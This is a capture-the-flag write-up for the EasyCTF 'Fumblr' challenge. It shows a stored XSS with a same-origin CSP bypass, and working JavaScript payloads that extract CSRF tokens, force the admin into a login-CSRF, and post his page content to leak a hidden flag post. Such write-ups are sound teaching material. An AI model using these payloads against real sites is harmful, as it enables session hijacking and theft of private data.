EASYCTF - Fumblr

Blog

Fumblr is a Tumblr like website where you can post some texts to the worldwide web.

First we can identify an XSS in the “writing section”, since we know there is an admin , we tried to get his cookies. Unfortunately CSP was correctly enabled and blocked every requests to an external website.

The website allows us to display a post as a raw like pastebin : https://pastebin.com/raw/xWpw2iKW. This feature became handy to bypass the CSP, since it was hosted on the same website (alert payload: http://c1.easyctf.com:12491/blog/toto/5a8aaf69c412df2a0001260b). Then you need to include the script file in the XSS area, a simple <script src=http://c1.easyctf.com:12491/blog/toto/5a8aaf69c412df2a0001260b></script> is enough.

The attack chain would be the following :

Any user (registered or not) could view the public post of everyone with http://c1.easyctf.com:12491/blog/[USERNAME]. By visiting the admin post, we get an information about the flag location : it’s in a hidden post. Because of the CSP we can’t exfiltrate the admin cookies, but we can force him to login to a specific account and write a post with the content of his index.html, this will leak the address of the post containing the flag.

My first payload didn’t worked as expected because the admin wasn’t allowed to write a post as someone else..

var xhr = new XMLHttpRequest();
xhr.open("GET", "http://c1.easyctf.com:12491/blog/admin", true);

xhr.onreadystatechange = function() {
  // Extract flag id and csrf
  flag_id=/[a-f0-9]{24}/.exec(xhr.responseText);
  csrf = xhr.responseText.match('csrf" value="(.*)?"')[1]


  var form=new XMLHttpRequest();
  form.open("POST", "http://c1.easyctf.com:12491/create-post", false);
  form.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  form.send("title=FLAG&body="+flag_id+"&_csrf="+csrf );

};
xhr.send(null);

Then I tried to enumerate the users with a wordlist {user, toto, titi, password, root, toor, …} in order to see their public posts, and find the missing part of my payload.

var
oReq = new XMLHttpRequest();
oReq.addEventListener("load", function()
{
  var text = this.responseText;
  var loginReq = new XMLHttpRequest();
  loginReq.addEventListener("load", function()
  {
    var req2 = new XMLHttpRequest();
    req2.open("POST", "/create-post");
    req2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    req2.send("title=cat&_csrf=" + text.match(/csrf" value="(.*)"/)[1] + "&body=" + encodeURIComponent(text));
  });
  loginReq.open("POST", "/login");
  loginReq.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  loginReq.send("username=toto&password=toto&_csrf=" + text.match(/csrf" value="(.*)"/)[1]);
});
oReq.open("GET", "http://c1.easyctf.com:12491/blog/");
oReq.send();

And then we get the content of the admin blog, including the URL of the flag :D

<div class="well"><h2><a href="/blog/admin/1b43c182c434df2a43511561">Flag</a> <small>published 11 hours ago</small></h2>
http://c1.easyctf.com:12491/blog/admin/1b43c182c434df2a43511561

Visiting the page gave us the flag :easyctf{I_th0ght_CSP_m4d3_1t_s3cur3?}

NB : After a little bit of digging I also found the flag in a post of a user which is obviously not the correct way to finish the challenge :p